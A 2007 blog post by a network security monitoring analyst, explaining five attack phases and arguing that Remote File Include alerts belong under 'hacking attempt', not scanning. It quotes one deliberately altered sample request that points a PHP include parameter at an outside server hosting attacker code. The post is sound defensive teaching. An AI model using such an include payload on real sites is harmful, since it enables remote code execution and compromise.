NSM; work and IT @ 06 Nov 2007 07:21 pm by ayoi
Sometimes my consultant will come and see me to verify events that occurred to our clients. This is due to some of the alerts or events have been categorized wrongly. It is not the SAs fault as IMHO the category listed in our system is lil bit confusing. The problem occurred when it comes to Scanning and Hacking Attempt category. So I decided to express my view in the email and of cause as I am a caring person (sharing is caring) I will post on this matter here.
1st of all regarding Scanning or vulnerability scanning. Scanning or vulnerability scanning is a process or activity of gathering information. We also can call this reconnaissance. If we remember, there are 5 stage or phases of attack which is reconnaissance, exploitation, reinforcement, consolidation and pillage. Let me list down the phases and its brief description.
1). Reconnaissance
Processes of validating connectivity, enumerating services, and checking for vulnerable applications. In other words information gathering process
2). Exploitation
Process of abusing, subverting, or breaching services on a target. Abuse of a service involves making illegitimate use of a legitimate mode of access. For example, an intruder might log in to a server over Telnet, Secure Shell, or Microsoft Terminal Services using a username and password stolen from another system. This is the process where the attacker will use his exploits tools on the vulnerability he discovered during the reconnaissance process.
3). Reinforcement.
This is the process where the intruders or attackers trying to gain the total (if not near total) control of the compromised machine. Some exploit may only give user access to the attacker. In reinforcement process attackers will try to escalate the access or privilege of his user.
4). Consolidation
This is when the attackers successfully establish communication with the compromised machines via newly created channel (usually thru backdoor etc). The favourite communication method is via IRC channel (as the attacker can hide behind anonymous or false identity)
5). Pillage
The execution of the main purpose of the compromise. DDoS is one of the favourite intention.
Again the phases mentioned above is merely just to categorize the attack phase. Some of attacks perhaps skip one or two of the phases (usually tools that has script and came from unstructured threat). For example, Nessus scanning may be categorized as scanning as it merely notify the attacker any vulnerability that may exists on the targeted machine. Attacks that generate Remote Include Path alerts are the good example of the difficulties that may exists in categorizing the events. Why? Because there are times when these alerts triggered hundred of times and the time gap between each alerts is small (in seconds). How to categorize these? For me it is simple.
Based on the payload itself. determine what is(are) the attackers doing. For these Remote Include path alerts, most of them didn’t do any reconnaissance at all which straight to the exploitation phase. I suggest it shud be categorized as Hacking attempt. Why? As shown by the sample payload below there is no attempt on identifying on the application information (most of the time the methodology is the same), and the attacker straight away instruct or attempt to instruct the application to run his exploit located on another server.
/G3T /admin.php?lnclude_p4th=http://www.reasons.org/tnrtb/wp-content/backup-b2b23/id2.txt?? HTTP/1.1
TE: deflate,gzip;q=0.3
Connection: TE, close
Host: www.blabla.com.my
User-Agent: libwww-perl/5.808
*I have to change few characters as the mod_security will not allow these to be published.
So I recommend that for SAs to categorize their alerts or events, identify the intention of the attackers. Thats why NSM data is important for identification process.
So what do you think?
p/s: Btw the phases and more on the NSM can be read at taosecurity.blogspot.com or buy the book: The Tao of Network Security Monitoring-Beyond Intrusion Detection by Richard Bejtlich
Anyway for anybody who feel offended by my last post here, I didn’t mention any names rite and of cause I did point out many many times during my years at The Client site on the importance of knowing, learning, acquiring the knowledge, skills of a security analyst. I do not feel myself need to apologize for the post anyway
